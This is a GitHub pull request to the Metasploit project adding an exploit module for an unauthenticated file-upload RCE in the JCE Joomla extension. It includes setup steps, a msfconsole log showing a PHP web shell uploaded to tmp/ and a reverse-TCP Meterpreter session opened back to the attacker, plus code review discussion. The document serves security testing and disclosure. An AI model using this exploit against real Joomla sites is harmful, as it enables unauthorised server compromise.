Skip to content

Add JCE profiles.import unauthenticated RCE module#21615

Open
15py15py15py wants to merge 6 commits into
rapid7:masterfrom
15py15py15py:add-jce-profiles-import-rce
Open

Add JCE profiles.import unauthenticated RCE module#21615
15py15py15py wants to merge 6 commits into
rapid7:masterfrom
15py15py15py:add-jce-profiles-import-rce

Conversation

@15py15py15py

@15py15py15py 15py15py15py commented Jun 28, 2026

Copy link
Copy Markdown

Description

This PR adds an exploit module for CVE-2026-48907, an unauthenticated arbitrary profile creation vulnerability in the JCE (Joomla Content Editor) extension for Joomla!.

The profiles.import task fails to enforce authentication, allowing the import of a crafted profile that is directly written to disk as a PHP web shell. This results in remote code execution, provided that the tmp/ directory is not explicitly restricted. JCE versions up to and including 2.9.99.4 are affected.

Breaking Changes

None

Verification Steps

    • Set up an environment running Joomla! with a vulnerable version of JCE.
    • Start msfconsole and configure the module:
use exploit/multi/http/joomla_com_jce_unauth_file_upload_rce
set RHOSTS <target>
set RPORT <port>
set LHOST <attacker IP>
    • Run check. Expected output confirms the target is vulnerable and reports the detected JCE version.
    • Run exploit and confirm that a Meterpreter session opens successfully.

Test Evidence

msf > use exploit/multi/http/joomla_com_jce_unauth_file_upload_rce
[*] Using configured payload php/meterpreter/reverse_tcp
msf exploit(multi/http/joomla_com_jce_unauth_file_upload_rce) > set RHOSTS 127.0.0.1
RHOSTS => 127.0.0.1
msf exploit(multi/http/joomla_com_jce_unauth_file_upload_rce) > set RPORT 9999
RPORT => 9999
msf exploit(multi/http/joomla_com_jce_unauth_file_upload_rce) > set LHOST 172.19.0.1
LHOST => 172.19.0.1
msf exploit(multi/http/joomla_com_jce_unauth_file_upload_rce) > check
[+] 127.0.0.1:9999 - The target appears to be vulnerable. JCE version 2.9.99.4 detected.
msf exploit(multi/http/joomla_com_jce_unauth_file_upload_rce) > run
[*] Started reverse TCP handler on 172.19.0.1:4444 
[*] Uploading sBKP7OLDD.php
[*] Triggering /tmp/sBKP7OLDD.php
[*] Sending stage (45739 bytes) to 172.19.0.2
[+] Deleted sBKP7OLDD.php
[*] Meterpreter session 1 opened (172.19.0.1:4444 -> 172.19.0.2:37958) at 2026-06-25 22:27:32 +0200

meterpreter > sysinfo
Computer        : 78ccc0643bbc
OS              : Linux 78ccc0643bbc 7.0.11-200.fc44.x86_64 #1 SMP PREEMPT_DYNAMIC Mon Jun  1 22:50:37 UTC 2026 x86_64
Architecture    : x64
System Language : C
Meterpreter     : php/linux
meterpreter > getuid
Server username: www-data

Environment

Field Details
Operating System Debian GNU/Linux 13 (Docker Container)
Target Software/Hardware Joomla! 6.1.1 with JCE 2.9.99.4

AI Usage Disclosure

AI was used to proofread and refine the PR description and module documentation. No AI assistance was used in writing or modifying the module code itself.

Pre-Submission Checklist

  • Included a corresponding documentation markdown file in documentation/modules (new modules only)
  • No sensitive information (IP addresses, credentials, API keys, hashes) in code or documentation
  • Tested on the target environment specified in the Environment section above
  • Included RSpec tests for library changes (encouraged for lib/ changes)
  • Read the CONTRIBUTING.md and module acceptance guidelines

- Fix nil guard, extension regex, and error message punctuation
- Correct doc inaccuracies: remove non-existent .phtm, clarify FILENAME default
- Address msftidy warnings and reflow doc line wrapping
Comment thread modules/exploits/multi/http/joomla_com_jce_unauth_file_upload_rce.rb Outdated
Comment thread modules/exploits/multi/http/joomla_com_jce_unauth_file_upload_rce.rb Outdated
Comment thread modules/exploits/multi/http/joomla_com_jce_unauth_file_upload_rce.rb Outdated
Comment thread modules/exploits/multi/http/joomla_com_jce_unauth_file_upload_rce.rb Outdated
'uri' => normalize_uri(target_uri.path, 'tmp', filename)
)

return CheckCode::Safe('Target does not allow direct access of uploaded files.') unless res && res.code != 403

Copy link
Copy Markdown
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Suggested change
return CheckCode::Safe('Target does not allow direct access of uploaded files.') unless res && res.code != 403
return CheckCode::Safe('Target does not allow direct access of uploaded files.') unless res&.code != 403

@15py15py15py 15py15py15py Jul 1, 2026

Copy link
Copy Markdown
Author

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

I think this case is different. Requests to tmp/ can sometimes just be refused or timed out and the shortened version would miss those cases. Maybe we leave it as is?

Comment thread modules/exploits/multi/http/joomla_com_jce_unauth_file_upload_rce.rb Outdated
Comment thread modules/exploits/multi/http/joomla_com_jce_unauth_file_upload_rce.rb Outdated
Comment thread modules/exploits/multi/http/joomla_com_jce_unauth_file_upload_rce.rb Outdated
Comment thread modules/exploits/multi/http/joomla_com_jce_unauth_file_upload_rce.rb Outdated
Comment thread modules/exploits/multi/http/joomla_com_jce_unauth_file_upload_rce.rb Outdated
@15py15py15py

Copy link
Copy Markdown
Author

I hope I got everything right. Thanks for your patience.

@15py15py15py 15py15py15py requested a review from msutovsky-r7 July 1, 2026 20:09
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment

Projects

Status: Todo

Development

Successfully merging this pull request may close these issues.

3 participants